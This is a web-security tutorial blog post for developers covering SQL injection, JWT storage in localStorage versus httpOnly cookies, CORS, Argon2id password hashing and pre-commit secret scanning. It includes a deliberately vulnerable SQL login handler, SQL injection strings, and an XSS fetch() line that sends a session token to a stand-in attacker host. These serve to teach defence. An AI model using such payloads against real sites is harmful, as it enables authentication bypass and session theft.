A junior developer I worked with accidentally committed his .env file containing an AWS root access key to a public GitHub repository at 11:30 PM on a Friday.
Automated bot crawlers sniff new GitHub public commits within 45 seconds. By Saturday morning, those crawlers had spun up thirty GPU compute instances in the Ireland region for cryptocurrency mining. The total AWS bill was over ₹4,80,000.
Most cybersecurity articles write generic advice about downloading antivirus software and changing passwords every thirty days. If you write code for the web, that advice is useless. You need to understand how malicious actors exploit real web applications at the code level.
1. SQL Injection: Why Parameterized Queries Are Non-Negotiable
SQL Injection (SQLi) has sat near the top of the OWASP Top 10 for over two decades. It happens whenever untrusted user input is directly concatenated into a raw SQL query string.
Look at this vulnerable Node.js database handler:
// VULNERABLE: Never build SQL queries with string interpolation
app.post('/api/login', async (req, res) => {
const { email, password } = req.body;
// An attacker sends: ' OR '1'='1
const sql = `SELECT id, role, password_hash FROM users WHERE email = '${email}'`;
const [rows] = await db.query(sql);
// Returns the entire user table because '1'='1 is always true
res.json(rows[0]);
});
When the attacker inputs admin@company.com' --, the database parser treats the remainder of the query as a comment, bypassing authentication entirely.
Here is the secure fix using parameterized prepared statements:
// SECURE: Parameterized queries separate SQL commands from raw data
app.post('/api/login', async (req, res) => {
const { email } = req.body;
const sql = 'SELECT id, role, password_hash FROM users WHERE email = ? LIMIT 1';
const [rows] = await db.execute(sql, [email]);
if (rows.length === 0) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Proceed to constant-time password verification
});
In a parameterized query, the database engine compiles the SQL execution plan first before substituting the parameters. The attacker string is treated strictly as literal text, never executable instructions.
2. The JWT Storage Trap: Stop Using localStorage
Almost every YouTube tutorial tells beginners to store JSON Web Tokens in browser localStorage:
// THE MISTAKE: Any Cross-Site Scripting (XSS) payload can steal this
localStorage.setItem('auth_token', token);
If your website has a single Cross-Site Scripting (XSS) flaw in a blog comment or third-party script, an attacker can run one line of JavaScript to siphon every active session on your domain:
// XSS payload stealing the auth session
fetch('https://attacker-c2.com/exfiltrate?token=' + localStorage.getItem('auth_token'));
The secure alternative is storing authentication tokens in httpOnly, Secure, SameSite=Strict cookies. JavaScript cannot access an httpOnly cookie under any circumstance:
// SECURE: Cookie issued from your Node/Express backend
res.cookie('token', jwtToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production', // Requires HTTPS
sameSite: 'strict', // Blocks CSRF requests from foreign sites
maxAge: 1000 * 60 * 60 * 24, // 24 hours
path: '/',
});
3. What CORS Actually Does (and What It Does Not)
Almost every junior developer runs into this console error when connecting a frontend to a backend:
Access to fetch at 'https://api.backend.in' from origin 'https://my-app.in' has been blocked by CORS policy:
No 'Access-Control-Allow-Origin' header is present on the requested resource.
In frustration, developers often paste this snippet into their Express backend:
// DANGEROUS: Permissive wildcard CORS header
app.use(cors({ origin: '*' }));
Understand this: CORS does not protect your backend server. An attacker can make direct HTTP requests using curl, Python scripts, or Postman all day long without triggering CORS checks. CORS exists to protect the end-user's browser from malicious cross-origin scripts impersonating their session.
Specify exact trusted origins in your production middleware:
import cors from 'cors';
const allowedOrigins = [
'https://dropoutdeveloper.in',
'https://app.dropoutdeveloper.in',
];
app.use(
cors({
origin: (origin, callback) => {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Blocked by CORS policy'));
}
},
credentials: true, // Required for httpOnly cookies
})
);
4. Modern Password Hashing: Argon2id and Bcrypt
Never use plain SHA-256 or MD5 for passwords. Fast general-purpose hashing functions are designed for raw throughput. An inexpensive NVIDIA RTX 4090 GPU can compute over 150 billion SHA-256 hashes every single second, cracking an 8-character password in seconds.
Use memory-hard and computationally intensive algorithms like Argon2id or bcrypt:
// Password hashing using Argon2id
import argon2 from 'argon2';
export async function hashPassword(plainText: string): Promise<string> {
return await argon2.hash(plainText, {
type: argon2.argon2id,
memoryCost: 65536, // 64 MB of RAM allocation per attempt
timeCost: 3, // 3 iterations
parallelism: 4, // 4 CPU threads
});
}
export async function verifyPassword(hash: string, plainText: string): Promise<boolean> {
return await argon2.verify(hash, plainText);
}
Because Argon2id requires large memory allocations per calculation, attackers cannot parallelize dictionary cracking on consumer GPU clusters.
5. Pre-Commit Scanners for Secret Leaks
To avoid the dreaded ₹4 lakh cloud bill, install local git hooks that scan for API keys, private certificates, and AWS tokens before any commit hits GitHub:
# Install truffleHog via homebrew or standalone binary
brew install trufflehog
# Scan your current git repository for leaked credentials in commit history
trufflehog git file://. --since-commit HEAD~5
Add .env, .env.local, *.pem, and id_rsa to your global ~/.gitignore file so you never accidentally stage private credentials.
Summary Checklist for Your Codebase
| Vulnerability | Dangerous Pattern | Secure Standard |
|---|---|---|
| SQL Injection | String interpolation in queries | Parameterized queries (? or $1) |
| Auth Tokens | Browser localStorage |
httpOnly, SameSite=Strict cookies |
| CORS | Access-Control-Allow-Origin: * with credentials |
Explicit whitelist of production domains |
| Passwords | MD5 or plain SHA-256 | Argon2id or bcrypt (work factor 12+) |
| Git Secrets | Pushing .env to GitHub |
Pre-commit secret hooks and KMS vaults |
Next Steps
- Learn client-side connection states in Building a Real Network Status Checker with Vanilla JS.
- Format and validate backend JSON payloads with our JSON Formatter.
- Inspect prompt token overhead with our free Token Counter.
